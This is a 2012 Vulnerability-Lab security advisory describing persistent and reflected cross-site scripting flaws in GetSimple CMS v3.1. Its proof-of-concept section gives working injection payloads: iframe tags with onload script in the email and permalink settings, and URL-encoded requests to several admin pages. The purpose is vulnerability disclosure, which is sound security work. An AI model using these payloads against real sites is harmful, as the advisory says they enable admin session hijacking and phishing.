GetSimple CMS 3.1 Cross Site Scripting

`Title:  
======  
GetSimple CMS v3.1 - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2012-05-04  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=521  
  
  
VL-ID:  
=====  
521  
  
  
Common Vulnerability Scoring System:  
====================================  
5  
  
  
Introduction:  
=============  
GetSimple is an XML based lite Content Management System. To go along with it s best-in-class user   
interface, we have loaded it with features that every website needs, but with nothing it doesn t.   
GetSimple has the ability to perform a simple Undo on just about every action. Combined with our   
intuitive UI makes for a great web editing user experience.  
  
- XML based data storage (no MySQL needed)  
- Best-in-Class User Interface  
- Protection from yourself (undo most actions)  
- Extremely easy to theme  
- Great support forum & wiki  
- Fully Internationalized core code & plugins  
- Entire code base is documented with PHPDoc standards  
- Integrated WYSIWYG editor with file-browser & internal linker  
- HTML5/CSS3 default theme  
- Built in sitemap.xml generator  
- Long list of available plugins by great developers  
- Fully internationalized control panel  
  
(Copy of the Vendor Homepage: http://get-simple.info )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in GetSimple CMS v3.1.  
  
  
Report-Timeline:  
================  
2012-04-16: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
1.1  
Multiple persistent input validation vulnerabilities are detected in GetSimple v3.1 Content Management System.  
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).  
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)   
context manipulation. Exploitation requires low user inter action. The bug is located on the email & permalink   
input fields of the application websettings.  
  
  
Vulnerable Module(s):  
[+] Website Settings - Email  
[+] Website Settings - Custom Permalink Structure  
  
  
Picture(s):  
../1.png  
../2.png  
  
  
1.2  
Multiple non persistent cross site scripting vulnerabilities are detected in GetSimple v3.1 Content Management System.  
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required   
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing   
& client-side content request manipulation.  
  
  
Vulnerable Module(s):  
[+] Err  
[+] Error  
[+] Success  
[+] Path  
  
  
Picture(s):  
../3.png  
../4.png  
  
  
Proof of Concept:  
=================  
1.1  
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required  
user inter action. For demonstration or reproduce ...  
  
Review: Website Settings - Email  
  
<div class="rightsec">  
<p>  
<label for="email">Email Address:</label>​​​​​<input class="text" id="email" name="email" value="" type="text">  
<iframe src="a" onload='alert("VulnerabilityLab")' <@home.com"=""></p>  
  
<p style="margin:-15px 0 20px 0;color:#D94136;font-size:11px;"  
>WARNING: This email address does not look valid!</p>  
</div>  
<div class="clear"></div>   
  
URL: http://127.0.0.1:80/getsimple/admin/settings.php  
  
  
Review: Website Settings - Custom Permalink Structure  
  
<div class="leftsec">  
<p><label for="permalink" >Custom Permalink Structure:</label>  
<input class="text" name="permalink" id="permalink" type="text" value="">  
<iframe src=a onload=alert("VL") <" /><br /><a href="http://get-simple.info/wiki/pretty_urls"   
style="font-size:11px;" target="_blank" >Learn More...</a></p>  
</div>  
  
  
1.2  
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high   
required user inter action. For demonstration or reproduce ...  
  
Upload Function - Path  
http://127.0.0.1:80/getsimple/admin/upload.php?path=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E&newfolder=rem0ve  
  
Exception Handling - Error & Err  
http://127.0.0.1:80/getsimple/admin/theme.php?err=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C  
http://127.0.0.1:80/getsimple/admin/pages.php?error=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C  
  
Logout - Success  
http://127.0.0.1:80/getsimple/admin/index.php?success=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E  
  
Login - Err  
http://127.0.0.1:80/getsimple/admin/index.php?err=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E  
  
  
Risk:  
=====  
1.1  
The security risk of the persistent input validation vulnerabilities are estimated as medium.  
  
1.2  
The security risk of the client site cross site scripting vulnerabilities are estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Chokri B.A. ([email protected])  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply.  
  
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
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Copyright © 2012 Vulnerability-Lab  
  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: [email protected]  
  
`